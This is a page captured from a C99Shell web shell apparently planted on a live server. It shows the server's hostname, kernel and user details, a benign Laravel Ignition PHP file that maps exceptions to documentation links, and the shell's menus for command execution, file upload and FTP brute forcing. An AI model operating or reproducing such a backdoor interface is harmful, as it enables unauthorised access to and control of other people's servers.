!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/spatie/laravel-ignition/src/Support/   drwxr-xr-x
Free 28.94 GB of 117.98 GB (24.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LaravelDocumentationLinkFinder.php (2.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\LaravelIgnition\Support;

use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Str;
use 
Spatie\LaravelIgnition\Exceptions\ViewException;
use 
Throwable;

class 
LaravelDocumentationLinkFinder
{
    public function 
findLinkForThrowable(Throwable $throwable): ?string
    
{
        if (
$throwable instanceof ViewException) {
            
$throwable $throwable->getPrevious();
        }

        
$majorVersion LaravelVersion::major();

        if (
str_contains($throwable->getMessage(), Collection::class)) {
            return 
"https://laravel.com/docs/{$majorVersion}.x/collections#available-methods";
        }

        
$type $this->getType($throwable);

        if (! 
$type) {
            return 
null;
        }

        return match (
$type) {
            
'Auth' => "https://laravel.com/docs/{$majorVersion}.x/authentication",
            
'Broadcasting' => "https://laravel.com/docs/{$majorVersion}.x/broadcasting",
            
'Container' => "https://laravel.com/docs/{$majorVersion}.x/container",
            
'Database' => "https://laravel.com/docs/{$majorVersion}.x/eloquent",
            
'Pagination' => "https://laravel.com/docs/{$majorVersion}.x/pagination",
            
'Queue' => "https://laravel.com/docs/{$majorVersion}.x/queues",
            
'Routing' => "https://laravel.com/docs/{$majorVersion}.x/routing",
            
'Session' => "https://laravel.com/docs/{$majorVersion}.x/session",
            
'Validation' => "https://laravel.com/docs/{$majorVersion}.x/validation",
            
'View' => "https://laravel.com/docs/{$majorVersion}.x/views",
            default => 
null,
        };
    }

    protected function 
getType(?Throwable $throwable): ?string
    
{
        if (! 
$throwable) {
            return 
null;
        }

        if (
str_contains($throwable::class, 'Illuminate')) {
            return 
Str::between($throwable::class, 'Illuminate\\''\\');
        }

        if (
str_contains($throwable->getMessage(), 'Illuminate')) {
            return 
explode('\\'Str::between($throwable->getMessage(), 'Illuminate\\''\\'))[0];
        }

        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--